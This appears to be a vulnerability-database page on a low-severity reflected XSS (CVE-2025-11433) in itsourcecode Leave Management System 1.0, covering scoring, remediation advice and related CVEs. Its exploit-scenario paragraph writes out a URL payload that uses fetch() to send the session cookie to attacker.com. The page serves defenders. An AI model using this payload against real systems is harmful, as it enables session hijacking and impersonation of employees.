itsourcecode Leave Management System
CVE-2025-11433
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts malicious URL with XSS payload
-
DeliveryAttacker tricks authenticated user to click link (phishing/social engineering)
-
ExploitUser's browser sends request with payload to server
-
ExecutionServer reflects unsanitized ID parameter in response
-
PersistBrowser executes injected JavaScript
-
ImpactAttacker's script captures session cookie and exfiltrates data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three specific conditions: (1) the attacker must be authenticated as a valid user of the Leave Management System with active session credentials; (2) the victim must actively click or interact with a crafted malicious link containing the XSS payload - the vulnerability is not self-executing; (3) the victim's browser must execute JavaScript (i.e., JavaScript is not disabled). The vulnerability is limited to reflected XSS, meaning the payload is not persisted in the database and affects only users who visit the malicious link. The flaw does not affect API calls or automated requests without browser context, and exploitation cannot occur without prior authentication. |
| Impact | This vulnerability presents minimal real-world risk despite public exploit availability. The CVSS 4.0 vector indicates authentication (PR:L), user interaction (UI:P), and information disclosure only (VI:L with VC:N, VA:N, SC:N, SI:N, SA:N), yielding a CVSS score of 2.0. The EPSS score of 0.03% (8th percentile) confirms low exploitation probability in the wild. The attack requires a logged-in user to click a malicious link, which significantly reduces the attack surface compared to unauthenticated network-accessible vulnerabilities. The lack of confidentiality, availability, or integrity impact on system data, combined with the user-interaction requirement, suggests this is suitable for low-priority remediation in most environments. However, if the affected system manages sensitive employee data (salary, personal information), the confidentiality implications of XSS session hijacking warrant medium priority. No indication of active exploitation in CISA KEV or public attack reports; public POC exists but has not translated to observed attacks. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as /module/employee/controller.php?action=reset&id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> and tricks an authenticated employee into clicking the link (via phishing email or social engineering). When the employee clicks the link, the unescaped ID parameter is reflected in the page response, executing the injected JavaScript in the victim's browser and exfiltrating their session cookie to the attacker's server. The attacker then uses the stolen session to impersonate the employee and access sensitive leave records or modify employee data. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting (XSS) in itsourcecode Leave Management System 1.0 allows authenticated remote attackers to inject malicious scripts via the ID query parameter in /module/employee/controller.php?action=reset, requiring user interaction to execute. Public exploit code is available, though the vulnerability carries low real-world risk (EPSS 0.03%, CVSS 2.0) due to authentication and user-interaction requirements limiting broad exploitation.
RemediationAI
No vendor-released patch identified at time of analysis. Immediate mitigations include: (1) Apply context-aware output encoding to all user-controlled query parameters in the redirect function, specifically HTML-encoding the ID parameter before inclusion in HTTP responses; (2) Implement input validation on the ID parameter to accept only expected alphanumeric or numeric formats, rejecting special characters and script tags at the boundary; (3) Use HTTP-only and Secure flags on session cookies to prevent XSS-based session hijacking; (4) Deploy a Web Application Firewall (WAF) with XSS filtering rules to detect and block payloads in the /module/employee/controller.php endpoint; (5) If the application supports Content Security Policy (CSP), implement strict CSP headers (e.g., default-src 'self'; script-src 'self') to restrict inline script execution. Contact itsourcecode.com directly for patch availability or consider migrating to a maintained alternative if vendor does not respond within a defined SLA.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in a PHP-based Leave Management System where the Query Parameter Handler component fails to sanitize user input from the ID parameter before reflecting it in the redirect function of the employee controller. This is a classic reflected XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) where unsanitized query parameters are echoed back to the browser without proper HTML encoding or context-aware output encoding. The attack vector targets the employee module's password reset functionality, a common high-value target in enterprise systems.
Know when Leave Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A security flaw has been discovered in itsourcecode Leave Management System 1.0. This impacts the function redirect of the file /module/employee/controller.php?action=reset of the component Query Parameter Handler. Performing a manipulation of the argument ID results in cross site scripting. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Leave Management System
View allLeave Management System Project v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high s
Leave Management System Project v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high s
Leave Management System Project v1.0 is vulnerable to multiple Authenticated SQL Injection vulnerabilities. Rated high s
An issue in Jorani Leave Management System 1.0.3 allows a remote attacker to execute arbitrary HTML code via a crafted s
SQL injection in CodeAstro Leave Management System 1.0 allows remote unauthenticated attackers to manipulate the txt_use
SQL injection in itsourcecode Leave Management System 1.0 allows remote attackers to manipulate database queries via the
Unauthenticated SQL injection in itsourcecode Leave Management System 1.0 lets a remote attacker manipulate the user_ema
Jorani Leave Management System 1.0.2 allows a remote attacker to spoof a Host header associated with password reset emai
SQL injection in itsourcecode Leave Management System 1.0 lets a low-privileged, authenticated user manipulate the 'ID'
SQL injection in itsourcecode Leave Management System 1.0 lets an authenticated attacker with a low-privilege session (P
SQL injection in itsourcecode Leave Management System 1.0 allows an authenticated user to manipulate the DEPTID argument
SQL injection in itsourcecode Leave Management System 1.0 allows an authenticated remote user to manipulate the ID argum
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB